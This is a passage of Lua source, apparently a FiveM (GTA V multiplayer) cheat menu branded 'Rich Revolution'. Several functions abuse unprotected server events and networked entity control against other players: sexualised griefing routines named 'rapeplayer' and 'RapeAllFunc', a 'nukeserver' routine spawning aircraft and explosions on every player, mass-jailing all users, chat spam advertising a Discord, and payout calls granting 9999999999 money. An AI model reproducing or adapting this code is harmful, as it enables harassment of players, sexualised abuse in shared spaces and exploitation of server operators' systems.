  3847. Citizen.Wait(10)
  3848. end
  3849. else
  3850. while not HasAnimDictLoaded(model) do
  3851. RequestAnimDict(model)
  3852.  
  3853. Citizen.Wait(10)
  3854. end
  3855. end
  3856. end
  3857. end
  3858.  
  3859. RCCar.UnloadModels = function()
  3860. for modelIndex = 1, #RCCar.CachedModels do
  3861. local model = RCCar.CachedModels[modelIndex]
  3862.  
  3863. if IsModelValid(model) then
  3864. SetModelAsNoLongerNeeded(model)
  3865. else
  3866. RemoveAnimDict(model)
  3867. end
  3868. end
  3869. end
  3870.  
  3871. function KeyboardInput(TextEntry, ExampleText, MaxStringLength)
  3872. AddTextEntry("FMMC_KEY_TIP9N", TextEntry .. ":")
  3873. DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP9N", "", ExampleText, "", "", "", MaxStringLength)
  3874. blockinput = true
  3875.  
  3876. while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do
  3877. Citizen.Wait(0)
  3878. end
  3879.  
  3880. if UpdateOnscreenKeyboard() ~= 2 then
  3881. local result = GetOnscreenKeyboardResult()
  3882. Citizen.Wait(500)
  3883. blockinput = false
  3884. return result
  3885. else
  3886. Citizen.Wait(500)
  3887. blockinput = false
  3888. return nil
  3889. end
  3890. end
  3891.  
  3892. function DelVeh(veh)
  3893. SetEntityAsMissionEntity(veh, 1, 1)
  3894. DeleteEntity(veh)
  3895. end
  3896.  
  3897. function Clean(veh)
  3898. SetVehicleDirtLevel(veh, 15.0)
  3899. end
  3900.  
  3901. function Clean2(veh)
  3902. SetVehicleDirtLevel(veh, 1.0)
  3903. end
  3904.  
  3905. function GetInputMode()
  3906. return Citizen.InvokeNative(0xA571D46727E2B718, 2) and "MouseAndKeyboard" or "GamePad"
  3907. end
  3908.  
  3909. function TeleportToCoords()
  3910. local x = KeyboardInput("Enter X Pos", "", 100)
  3911. local y = KeyboardInput("Enter Y Pos", "", 100)
  3912. local z = KeyboardInput("Enter Z Pos", "", 100)
  3913. local entity
  3914. if x ~= "" and y ~= "" and z ~= "" then
  3915. if IsPedInAnyVehicle(GetPlayerPed(-1),0) and GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1),0),-1)==GetPlayerPed(-1) then
  3916. entity = GetVehiclePedIsIn(GetPlayerPed(-1),0)
  3917. else
  3918. entity = PlayerPedId()
  3919. end
  3920. if entity then
  3921. SetEntityCoords(entity, x + 0.5, y + 0.5, z + 0.5, 1,0,0,1)
  3922. end
  3923. else
  3924. drawNotification("~r~Invalid Coordinates, are you fucking stupid?")
  3925. end
  3926. end
  3927.  
  3928. function TeleportToWaypoint()
  3929. if DoesBlipExist(GetFirstBlipInfoId(8)) then
  3930. local blipIterator = GetBlipInfoIdIterator(8)
  3931. local blip = GetFirstBlipInfoId(8, blipIterator)
  3932. WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip, Citizen.ResultAsVector())
  3933. wp = true
  3934.  
  3935.  
  3936.  
  3937. local zHeigt = 0.0
  3938. height = 1000.0
  3939. while true do
  3940. Citizen.Wait(0)
  3941. if wp then
  3942. if
  3943. IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
  3944. (GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1))
  3945. then
  3946. entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
  3947. else
  3948. entity = GetPlayerPed(-1)
  3949. end
  3950.  
  3951. SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y, height)
  3952. FreezeEntityPosition(entity, true)
  3953. local Pos = GetEntityCoords(entity, true)
  3954.  
  3955. if zHeigt == 0.0 then
  3956. height = height - 25.0
  3957. SetEntityCoords(entity, Pos.x, Pos.y, height)
  3958. bool, zHeigt = GetGroundZFor_3dCoord(Pos.x, Pos.y, Pos.z, 0)
  3959. else
  3960. SetEntityCoords(entity, Pos.x, Pos.y, zHeigt)
  3961. FreezeEntityPosition(entity, false)
  3962. wp = false
  3963. height = 1000.0
  3964. zHeigt = 0.0
  3965. drawNotification("~g~Teleported to waypoint!")
  3966. break
  3967. end
  3968. end
  3969. end
  3970. else
  3971. drawNotification("~r~You have no waypoint?!")
  3972. end
  3973. end
  3974.  
  3975. function rapeplayer()
  3976. Citizen.CreateThread(
  3977. function()
  3978. RequestModelSync('a_m_o_acult_01')
  3979. RequestAnimDict('rcmpaparazzo_2')
  3980. while not HasAnimDictLoaded('rcmpaparazzo_2') do
  3981. Citizen.Wait(0)
  3982. end
  3983. if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
  3984. local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
  3985. while not NetworkHasControlOfEntity(veh) do
  3986. NetworkRequestControlOfEntity(veh)
  3987. Citizen.Wait(0)
  3988. end
  3989. SetEntityAsMissionEntity(veh, true, true)
  3990. DeleteVehicle(veh)
  3991. DeleteEntity(veh)
  3992. end
  3993. count = -0.2
  3994. for b = 1, 3 do
  3995. local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
  3996. local bz = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
  3997. SetEntityAsMissionEntity(bz, true, true)
  3998. AttachEntityToEntity(
  3999. bz,
  4000. GetPlayerPed(SelectedPlayer),
  4001. 4103,
  4002. 11816,
  4003. count,
  4004. 0.00,
  4005. 0.0,
  4006. 0.0,
  4007. 0.0,
  4008. 0.0,
  4009. false,
  4010. false,
  4011. false,
  4012. false,
  4013. 2,
  4014. true
  4015. )
  4016. ClearPedTasks(GetPlayerPed(SelectedPlayer))
  4017. TaskPlayAnim(
  4018. GetPlayerPed(SelectedPlayer),
  4019. 'rcmpaparazzo_2',
  4020. 'shag_loop_poppy',
  4021. 2.0,
  4022. 2.5,
  4023. -1,
  4024. 49,
  4025. 0,
  4026. 0,
  4027. 0,
  4028. 0
  4029. )
  4030. SetPedKeepTask(bz)
  4031. TaskPlayAnim(bz, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
  4032. SetEntityInvincible(bz, true)
  4033. count = count - 0.4
  4034. end
  4035. end
  4036. )
  4037. end
  4038.  
  4039. function CreateDeer()
  4040. local Model = GetHashKey("a_c_deer")
  4041. RequestModel(Model)
  4042. while not HasModelLoaded(Model) do
  4043. Citizen.Wait(50)
  4044. end
  4045.  
  4046. local Ped = PlayerPedId()
  4047. local PedPosition = GetEntityCoords(Ped, false)
  4048.  
  4049. Handle = CreatePed(28, Model, PedPosition.x+1, PedPosition.y, PedPosition.z, GetEntityHeading(Ped), true, false)
  4050.  
  4051. SetPedCanRagdoll(Handle, Animal.Ragdoll)
  4052. SetEntityInvincible(Handle, Animal.Invincible)
  4053. SetPedDefaultComponentVariation(Handle)
  4054. SetModelAsNoLongerNeeded(Model)
  4055. end
  4056.  
  4057. function RapeAllFunc()
  4058. for bs=0,9 do
  4059. TriggerServerEvent("_chat:messageEntered","~r~",{141,211,255},"You just got fucked mate")
  4060. end
  4061. Citizen.CreateThread(function()
  4062. for i=0,128 do
  4063. RequestModelSync("a_m_o_acult_01")
  4064. RequestAnimDict("rcmpaparazzo_2")
  4065. while not HasAnimDictLoaded("rcmpaparazzo_2")do
  4066. Citizen.Wait(0)
  4067. end
  4068. if IsPedInAnyVehicle(GetPlayerPed(i),true)then
  4069. local veh=GetVehiclePedIsIn(GetPlayerPed(i),true)
  4070. while not NetworkHasControlOfEntity(veh)do
  4071. NetworkRequestControlOfEntity(veh)
  4072. Citizen.Wait(0)
  4073. end
  4074. SetEntityAsMissionEntity(veh,true,true)
  4075. DeleteVehicle(veh)DeleteEntity(veh)end
  4076. count=-0.2
  4077. for b=1,3 do
  4078. local x,y,z=table.unpack(GetEntityCoords(GetPlayerPed(i),true))
  4079. local bD=CreatePed(4,GetHashKey("a_m_o_acult_01"),x,y,z,0.0,true,false)
  4080. SetEntityAsMissionEntity(bD,true,true)
  4081. AttachEntityToEntity(bD,GetPlayerPed(i),4103,11816,count,0.00,0.0,0.0,0.0,0.0,false,false,false,false,2,true)
  4082. ClearPedTasks(GetPlayerPed(i))TaskPlayAnim(GetPlayerPed(i),"rcmpaparazzo_2","shag_loop_poppy",2.0,2.5,-1,49,0,0,0,0)
  4083. SetPedKeepTask(bD)TaskPlayAnim(bD,"rcmpaparazzo_2","shag_loop_a",2.0,2.5,-1,49,0,0,0,0)
  4084. SetEntityInvincible(bD,true)count=count-0.4
  4085. end
  4086. end
  4087. end)
  4088. end
  4089.  
  4090. function teleportToNearestVehicle()
  4091. local playerPed = GetPlayerPed(-1)
  4092. local playerPedPos = GetEntityCoords(playerPed, true)
  4093. local NearestVehicle = GetClosestVehicle(GetEntityCoords(playerPed, true), 1000.0, 0, 4)
  4094. local NearestVehiclePos = GetEntityCoords(NearestVehicle, true)
  4095. local NearestPlane = GetClosestVehicle(GetEntityCoords(playerPed, true), 1000.0, 0, 16384)
  4096. local NearestPlanePos = GetEntityCoords(NearestPlane, true)
  4097. drawNotification("~y~Wait...")
  4098. Citizen.Wait(1000)
  4099. if (NearestVehicle == 0) and (NearestPlane == 0) then
  4100. drawNotification("~r~No Vehicle Found")
  4101. elseif (NearestVehicle == 0) and (NearestPlane ~= 0) then
  4102. if IsVehicleSeatFree(NearestPlane, -1) then
  4103. SetPedIntoVehicle(playerPed, NearestPlane, -1)
  4104. SetVehicleAlarm(NearestPlane, false)
  4105. SetVehicleDoorsLocked(NearestPlane, 1)
  4106. SetVehicleNeedsToBeHotwired(NearestPlane, false)
  4107. else
  4108. local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
  4109. ClearPedTasksImmediately(driverPed)
  4110. SetEntityAsMissionEntity(driverPed, 1, 1)
  4111. DeleteEntity(driverPed)
  4112. SetPedIntoVehicle(playerPed, NearestPlane, -1)
  4113. SetVehicleAlarm(NearestPlane, false)
  4114. SetVehicleDoorsLocked(NearestPlane, 1)
  4115. SetVehicleNeedsToBeHotwired(NearestPlane, false)
  4116. end
  4117. drawNotification("~g~Teleported Into Nearest Vehicle!")
  4118. elseif (NearestVehicle ~= 0) and (NearestPlane == 0) then
  4119. if IsVehicleSeatFree(NearestVehicle, -1) then
  4120. SetPedIntoVehicle(playerPed, NearestVehicle, -1)
  4121. SetVehicleAlarm(NearestVehicle, false)
  4122. SetVehicleDoorsLocked(NearestVehicle, 1)
  4123. SetVehicleNeedsToBeHotwired(NearestVehicle, false)
  4124. else
  4125. local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
  4126. ClearPedTasksImmediately(driverPed)
  4127. SetEntityAsMissionEntity(driverPed, 1, 1)
  4128. DeleteEntity(driverPed)
  4129. SetPedIntoVehicle(playerPed, NearestVehicle, -1)
  4130. SetVehicleAlarm(NearestVehicle, false)
  4131. SetVehicleDoorsLocked(NearestVehicle, 1)
  4132. SetVehicleNeedsToBeHotwired(NearestVehicle, false)
  4133. end
  4134. drawNotification("~g~Teleported Into Nearest Vehicle!")
  4135. elseif (NearestVehicle ~= 0) and (NearestPlane ~= 0) then
  4136. if Vdist(NearestVehiclePos.x, NearestVehiclePos.y, NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) < Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) then
  4137. if IsVehicleSeatFree(NearestVehicle, -1) then
  4138. SetPedIntoVehicle(playerPed, NearestVehicle, -1)
  4139. SetVehicleAlarm(NearestVehicle, false)
  4140. SetVehicleDoorsLocked(NearestVehicle, 1)
  4141. SetVehicleNeedsToBeHotwired(NearestVehicle, false)
  4142. else
  4143. local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
  4144. ClearPedTasksImmediately(driverPed)
  4145. SetEntityAsMissionEntity(driverPed, 1, 1)
  4146. DeleteEntity(driverPed)
  4147. SetPedIntoVehicle(playerPed, NearestVehicle, -1)
  4148. SetVehicleAlarm(NearestVehicle, false)
  4149. SetVehicleDoorsLocked(NearestVehicle, 1)
  4150. SetVehicleNeedsToBeHotwired(NearestVehicle, false)
  4151. end
  4152. elseif Vdist(NearestVehiclePos.x, NearestVehiclePos.y, NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) > Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) then
  4153. if IsVehicleSeatFree(NearestPlane, -1) then
  4154. SetPedIntoVehicle(playerPed, NearestPlane, -1)
  4155. SetVehicleAlarm(NearestPlane, false)
  4156. SetVehicleDoorsLocked(NearestPlane, 1)
  4157. SetVehicleNeedsToBeHotwired(NearestPlane, false)
  4158. else
  4159. local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
  4160. ClearPedTasksImmediately(driverPed)
  4161. SetEntityAsMissionEntity(driverPed, 1, 1)
  4162. DeleteEntity(driverPed)
  4163. SetPedIntoVehicle(playerPed, NearestPlane, -1)
  4164. SetVehicleAlarm(NearestPlane, false)
  4165. SetVehicleDoorsLocked(NearestPlane, 1)
  4166. SetVehicleNeedsToBeHotwired(NearestPlane, false)
  4167. end
  4168. end
  4169. drawNotification("~g~Teleported Into Nearest Vehicle!")
  4170. end
  4171.  
  4172. end
  4173.  
  4174.  
  4175.  
  4176. local function d(e)
  4177. local f = {}
  4178. local h = GetGameTimer() / 200
  4179. f.r = math.floor(math.sin(h * e + 0) * 127 + 128)
  4180. f.g = math.floor(math.sin(h * e + 2) * 127 + 128)
  4181. f.b = math.floor(math.sin(h * e + 4) * 127 + 128)
  4182. return f
  4183. end
  4184.  
  4185. local cL = true
  4186. local cM = false
  4187. local cN = true
  4188. local cO = true
  4189. Citizen.CreateThread(
  4190. function()
  4191. while true do
  4192. Wait(1)
  4193. for f = 0, 128 do
  4194. if NetworkIsPlayerActive(f) and GetPlayerPed(f) ~= GetPlayerPed(-1) then
  4195. local ped = GetPlayerPed(f)
  4196. blip = GetBlipFromEntity(ped)
  4197. x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  4198. x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
  4199. distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
  4200. headId = Citizen.InvokeNative(0xBFEFE3321A3F5015, ped, GetPlayerName(f), false, false, '', false)
  4201. wantedLvl = GetPlayerWantedLevel(f)
  4202. if cM then
  4203. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, true)
  4204. if wantedLvl then
  4205. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, true)
  4206. Citizen.InvokeNative(0xCF228E2AA03099C3, headId, wantedLvl)
  4207. else
  4208. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
  4209. end
  4210. else
  4211. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
  4212. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 9, false)
  4213. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, false)
  4214. end
  4215. if cL then
  4216. if not DoesBlipExist(blip) then
  4217. blip = AddBlipForEntity(ped)
  4218. SetBlipSprite(blip, 1)
  4219. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  4220. SetBlipNameToPlayerName(blip, f)
  4221. else
  4222. veh = GetVehiclePedIsIn(ped, false)
  4223. blipSprite = GetBlipSprite(blip)
  4224. if not GetEntityHealth(ped) then
  4225. if blipSprite ~= 274 then
  4226. SetBlipSprite(blip, 274)
  4227. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  4228. SetBlipNameToPlayerName(blip, f)
  4229. end
  4230. elseif veh then
  4231. vehClass = GetVehicleClass(veh)
  4232. vehModel = GetEntityModel(veh)
  4233. if vehClass == 15 then
  4234. if blipSprite ~= 422 then
  4235. SetBlipSprite(blip, 422)
  4236. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  4237. SetBlipNameToPlayerName(blip, f)
  4238. end
  4239. elseif vehClass == 16 then
  4240. if
  4241. vehModel == GetHashKey('besra') or vehModel == GetHashKey('hydra') or
  4242. vehModel == GetHashKey('lazer')
  4243. then
  4244. if blipSprite ~= 424 then
  4245. SetBlipSprite(blip, 424)
  4246. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  4247. SetBlipNameToPlayerName(blip, f)
  4248. end
  4249. elseif blipSprite ~= 423 then
  4250. SetBlipSprite(blip, 423)
  4251. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  4252. end
  4253. elseif vehClass == 14 then
  4254. if blipSprite ~= 427 then
  4255. SetBlipSprite(blip, 427)
  4256. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  4257. end
  4258. elseif
  4259. vehModel == GetHashKey('insurgent') or vehModel == GetHashKey('insurgent2') or
  4260. vehModel == GetHashKey('limo2')
  4261. then
  4262. if blipSprite ~= 426 then
  4263. SetBlipSprite(blip, 426)
  4264. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  4265. SetBlipNameToPlayerName(blip, f)
  4266. end
  4267. elseif vehModel == GetHashKey('rhino') then
  4268. if blipSprite ~= 421 then
  4269. SetBlipSprite(blip, 421)
  4270. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  4271. SetBlipNameToPlayerName(blip, f)
  4272. end
  4273. elseif blipSprite ~= 1 then
  4274. SetBlipSprite(blip, 1)
  4275. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  4276. SetBlipNameToPlayerName(blip, f)
  4277. end
  4278. passengers = GetVehicleNumberOfPassengers(veh)
  4279. if passengers then
  4280. if not IsVehicleSeatFree(veh, -1) then
  4281. passengers = passengers + 1
  4282. end
  4283. ShowNumberOnBlip(blip, passengers)
  4284. else
  4285. HideNumberOnBlip(blip)
  4286. end
  4287. else
  4288. HideNumberOnBlip(blip)
  4289. if blipSprite ~= 1 then
  4290. SetBlipSprite(blip, 1)
  4291. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  4292. SetBlipNameToPlayerName(blip, f)
  4293. end
  4294. end
  4295. SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
  4296. SetBlipNameToPlayerName(blip, f)
  4297. SetBlipScale(blip, 0.85)
  4298. if IsPauseMenuActive() then
  4299. SetBlipAlpha(blip, 255)
  4300. else
  4301. x1, y1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  4302. x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
  4303. distance =
  4304. math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1) +
  4305. 900
  4306. if distance < 0 then
  4307. distance = 0
  4308. elseif distance > 255 then
  4309. distance = 255
  4310. end
  4311. SetBlipAlpha(blip, distance)
  4312. end
  4313. end
  4314. else
  4315. RemoveBlip(blip)
  4316. end
  4317. end
  4318. end
  4319. end
  4320. end
  4321. )
  4322.  
  4323. function ShootPlayer(player)
  4324. local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player, "SKEL_HEAD"), 0.0, 0.0, 0.0)
  4325. SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
  4326. end
  4327.  
  4328.  
  4329. function SpawnObjOnPlayer(modelHash)
  4330. local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
  4331. local obj CreateObject(modelHash, coords.x, coords.y, coords.z, true, true, true)
  4332. if attachProp then
  4333. AttachEntityToEntity(obj ,GetPlayerPed(selectedPlayer), GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005), 0.4, 0, 0, 0, 270.0, 60.0, true ,true ,false, true, 1, true)
  4334. end
  4335. end
  4336.  
  4337. function nukeserver()
  4338. Citizen.CreateThread(function()
  4339. local dg="Avenger"
  4340. local dh="CARGOPLANE"
  4341. local di="luxor"
  4342. local dj="maverick"
  4343. local dk="blimp2"
  4344.  
  4345. while not HasModelLoaded(GetHashKey(dh))do
  4346. Citizen.Wait(0)
  4347. RequestModel(GetHashKey(dh))
  4348. end
  4349.  
  4350. while not HasModelLoaded(GetHashKey(di))do
  4351. Citizen.Wait(0)RequestModel(GetHashKey(di))
  4352. end
  4353.  
  4354. while not HasModelLoaded(GetHashKey(dg))do
  4355. Citizen.Wait(0)RequestModel(GetHashKey(dg))
  4356. end
  4357.  
  4358. while not HasModelLoaded(GetHashKey(dj))do
  4359. Citizen.Wait(0)RequestModel(GetHashKey(dj))
  4360. end
  4361.  
  4362. while not HasModelLoaded(GetHashKey(dk))do
  4363. Citizen.Wait(0)RequestModel(GetHashKey(dk))
  4364. end
  4365.  
  4366. for bs=0,9 do
  4367. TriggerServerEvent("_chat:messageEntered","~r~",{141,211,255},"Rich Revolution")
  4368. end
  4369.  
  4370. for i=0,128 do
  4371. local di=CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+2.0,true,true) and CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dg),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dh),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(di),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dj),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(dk),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,100000.0)and AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,true)
  4372. end
  4373. end)
  4374. end
  4375.  
  4376. function rotDirection(rot)
  4377. local radianz = rot.z * 0.0174532924
  4378. local radianx = rot.x * 0.0174532924
  4379. local num = math.abs(math.cos(radianx))
  4380.  
  4381. local dir = vector3(-math.sin(radianz) * num, math.cos(radianz) * num, math.sin(radianx))
  4382.  
  4383. return dir
  4384. end
  4385.  
  4386. function GetDistance(pointA, pointB)
  4387.  
  4388. local aX = pointA.x
  4389. local aY = pointA.y
  4390. local aZ = pointA.z
  4391.  
  4392. local bX = pointB.x
  4393. local bY = pointB.y
  4394. local bZ = pointB.z
  4395.  
  4396. local xBA = bX - aX
  4397. local yBA = bY - aY
  4398. local zBA = bZ - aZ
  4399.  
  4400. local y2 = yBA * yBA
  4401. local x2 = xBA * xBA
  4402. local sum2 = y2 + x2
  4403.  
  4404. return math.sqrt(sum2 + zBA)
  4405. end
  4406.  
  4407. function getPosition()
  4408. local x,y,z = table.unpack(GetEntityCoords(GetPlayerPed(-1),true))
  4409. return x,y,z
  4410. end
  4411.  
  4412. function getCamDirection()
  4413. local heading = GetGameplayCamRelativeHeading()+GetEntityHeading(GetPlayerPed(-1))
  4414. local pitch = GetGameplayCamRelativePitch()
  4415.  
  4416. local x = -math.sin(heading*math.pi/180.0)
  4417. local y = math.cos(heading*math.pi/180.0)
  4418. local z = math.sin(pitch*math.pi/180.0)
  4419.  
  4420. local len = math.sqrt(x*x+y*y+z*z)
  4421. if len ~= 0 then
  4422. x = x/len
  4423. y = y/len
  4424. z = z/len
  4425. end
  4426.  
  4427. return x,y,z
  4428. end
  4429.  
  4430. function RotToDirection(rot)
  4431. local radiansZ = rot.z * 0.0174532924
  4432. local radiansX = rot.x * 0.0174532924
  4433. local num = math.abs(math.cos(radiansX))
  4434. local dir = vector3(-math.sin(radiansZ) * num, math.cos(radiansZ * num), math.sin(radiansX))
  4435. return dir
  4436. end
  4437.  
  4438. function add(a, b)
  4439. local result = vector3(a.x + b.x, a.y + b.y, a.z + b.z)
  4440.  
  4441. return result
  4442. end
  4443.  
  4444. function multiply(coords, coordz)
  4445. local result = vector3(coords.x * coordz, coords.y * coordz, coords.z * coordz)
  4446.  
  4447. return result
  4448. end
  4449.  
  4450. function SpectatePlayer(player)
  4451. local playerPed = PlayerPedId()
  4452. Spectating = not Spectating
  4453. local targetPed = GetPlayerPed(player)
  4454.  
  4455. if (Spectating) then
  4456. local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
  4457.  
  4458. RequestCollisionAtCoord(targetx, targety, targetz)
  4459. NetworkSetInSpectatorMode(true, targetPed)
  4460.  
  4461. drawNotification("~r~Spectating " .. GetPlayerName(player))
  4462. else
  4463. local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
  4464.  
  4465. RequestCollisionAtCoord(targetx, targety, targetz)
  4466. NetworkSetInSpectatorMode(false, targetPed)
  4467.  
  4468. drawNotification("~r~Stopped Spectating " .. GetPlayerName(player))
  4469. end
  4470. end
  4471.  
  4472. Citizen.CreateThread(
  4473. function()
  4474. while true do
  4475. Citizen.Wait(0)
  4476.  
  4477. DisplayRadar(true)
  4478.  
  4479. SetPlayerWantedLevel(PlayerId(), 0, false)
  4480.  
  4481. SetPlayerWeaponDamageModifier(PlayerId(), selectedDamage)
  4482. SetPlayerMeleeWeaponDamageModifier(PlayerId(), selectedDamage)
  4483.  
  4484. if infStamina then
  4485. RestorePlayerStamina(PlayerId(), 1.0)
  4486. end
  4487.  
  4488. if chatspam then
  4489. TriggerServerEvent(
  4490. '_chat:messageEntered',
  4491. 'exerr#1177',
  4492. {0, 0x99, 255},
  4493. '/ooc Rich Revolution l discord.gg/qY3G4sc l your security is weak exerr#1177 the best developer l'
  4494. )
  4495. TriggerServerEvent('_chat:messageEntered', '^8exerr menu', {0, 0x99, 255}, '^Rich Revolution l discord.gg/qY3G4sc l your security is weak exerr#1177 the best developer l')
  4496. else
  4497.  
  4498. end
  4499.  
  4500. if banallusers then
  4501. for i = 0, 128 do
  4502. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 45 * 60, "~r~Rich Revolution l discord.gg/qY3G4sc l your security is weak exerr#1177 the best developer l")
  4503. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 45 * 60, "~r~Rich Revolution l discord.gg/qY3G4sc l your security is weak exerr#1177 the best developer l")
  4504. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 45 * 60, "~r~Rich Revolution l discord.gg/qY3G4sc l your security is weak exerr#1177 the best developer l")
  4505. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 45 * 60, "~r~Rich Revolution l discord.gg/qY3G4sc l your security is weak exerr#1177 the best developer l")
  4506. end
  4507. end
  4508.  
  4509. if esxdestroy then
  4510. for i = 0, 128 do
  4511. TriggerServerEvent("esx_truckerjob:pay", 9999999999)
  4512. TriggerServerEvent("AdminMenu:giveCash", 9999999999)
  4513. TriggerServerEvent("esx_dmvschool:pay", 9999999999)
  4514. TriggerServerEvent("LegacyFuel:PayFuel", 9999999999)
  4515. end
  4516. end
  4517.  
  4518. if invisible then
  4519. SetEntityVisible(GetPlayerPed(-1), false, 0)
  4520. else
  4521. SetEntityVisible(GetPlayerPed(-1), true, 0)
  4522. end
  4523.  
  4524.  
  4525. if freezePlayer then
  4526. ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
  4527. end
  4528.  
  4529. if crosshair then
  4530. ShowHudComponentThisFrame(14)
  4531. end
  4532.  
  4533. if ci then
  4534. local cK = false
  4535. local cL = 130
  4536. local cM = 0
  4537. for i = 0, 128 do
  4538. if NetworkIsPlayerActive(i) and GetPlayerPed(i) ~= GetPlayerPed(-1) then
  4539. local ped = GetPlayerPed(i)
  4540. blip = GetBlipFromEntity(ped)
  4541. x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  4542. x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(i), true))
  4543. distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
  4544. if cK then
  4545. if NetworkIsPlayerTalking(i) then
  4546. local cN = d(1.0)
  4547. DrawText3D(
  4548. x2,
  4549. y2,
  4550. z2 + 1.2,
  4551. GetPlayerServerId(i) .. ' | ' .. GetPlayerName(i),
  4552. cN.r,
  4553. cN.g,
  4554. cN.b
  4555. )
  4556. else
  4557. DrawText3D(
  4558. x2,
  4559. y2,
  4560. z2 + 1.2,
  4561. GetPlayerServerId(i) .. ' | ' .. GetPlayerName(i),
  4562. 255,
  4563. 255,
  4564. 255
  4565. )
  4566. end
  4567. end
  4568. if distance < cL then
  4569. if not cK then
  4570. if NetworkIsPlayerTalking(i) then
  4571. local cN = d(1.0)
  4572. DrawText3D(
  4573. x2,
  4574. y2,
  4575. z2 + 1.2,
  4576. GetPlayerServerId(i) .. ' | ' .. GetPlayerName(i),
  4577. cN.r,
  4578. cN.g,
  4579. cN.b
  4580. )
  4581. else
  4582. DrawText3D(
  4583. x2,
  4584. y2,
  4585. z2 + 1.2,
  4586. GetPlayerServerId(i) .. ' | ' .. GetPlayerName(i),
  4587. 255,
  4588. 255,
